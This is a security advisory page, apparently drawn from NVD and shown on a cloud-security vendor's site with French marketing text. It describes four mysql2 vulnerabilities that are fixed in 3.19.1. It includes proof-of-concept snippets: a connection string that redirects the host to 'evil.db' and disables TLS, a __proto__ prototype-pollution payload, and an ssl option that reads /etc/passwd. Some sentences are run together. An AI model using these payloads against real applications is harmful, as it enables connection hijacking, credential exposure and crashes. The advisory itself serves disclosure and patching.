
PEACH
Un cadre d’isolation des locataires
Four related vulnerabilities were found in mysql2 <= 3.19.0:
1. Connection option override via parseUrl() query parameters
ConnectionConfig.parseUrl() processes all URL query parameters via JSON.parse() and assigns them into connection options without filtering. Query parameters are processed after the URL structure, so they override security-critical fields like host, ssl, and multipleStatements.
An attacker who controls or influences the connection string can:
?host=evil.db)?ssl=false)?multipleStatements=true), facilitating SQL injection?ssl={"ca":"/etc/passwd"})
This is relevant in multi-tenant platforms, admin panels, or any application that accepts user-supplied database connection strings.
2. Prototype pollution via parseUrl() proto key
The same unfiltered query parameter processing in parseUrl() also enables prototype pollution. An attacker can inject ?__proto__={"polluted":true} into the connection string, which JSON.parse() parses into an object and assigns via options[key], polluting Object.prototype for the entire process.
This was identified by @wellwelwel during the fix review (PR #4162) and is resolved by the same patch.
3. DoS via malformed geometry payloadsparseGeometryValue() reads geometry structures from server responses without validating buffer bounds. A malformed payload with inflated point/ring counts triggers an uncaught RangeError, crashing the Node.js process. Exploitable when a malicious MySQL server (e.g., via the connection redirect in finding 1) sends crafted geometry responses.
4. Logical out-of-bounds read in readNullTerminatedString()
readNullTerminatedString() scans for a null byte without checking the logical packet boundary (this.end). When packets share the same backing Buffer, the method reads past the current packet into adjacent data, violating packet framing assumptions and potentially leaking data from neighboring packets.
Finding 1 — Config injection:
const { createConnection } = require('mysql2');
// Attacker-controlled DSN overrides host and disables TLS
const conn = createConnection(
'mysql://user:pass@legit.db/app?host=evil.db&ssl=false&multipleStatements=true'
);
// conn.config.host === 'evil.db'
// conn.config.ssl === false
// conn.config.multipleStatements === trueFinding 2 — Prototype pollution:
const { ConnectionConfig } = require('mysql2');
ConnectionConfig.parseUrl(
'mysql://user:pass@legit.db/app?__proto__={"polluted":"yes"}'
);
console.log(({}).polluted); // 'yes' — Object.prototype polluted!Finding 3 — Geometry DoS: A geometry column response with a declared point count larger than the available buffer triggers:
RangeError: The value of "offset" is out of range...This crashes the process if unhandled.
Finding 4 — OOB read:
With a packet ending at byte 7 and additional bytes in the same backing buffer, readNullTerminatedString() returns data beyond the logical packet boundary (e.g., "ABCSECRET" instead of "ABC").
All issues were fixed in v3.19.1:
__proto__ pollutionSource: NVD
Évaluation gratuite des vulnérabilités
Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.
Obtenez une démo personnalisée
"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."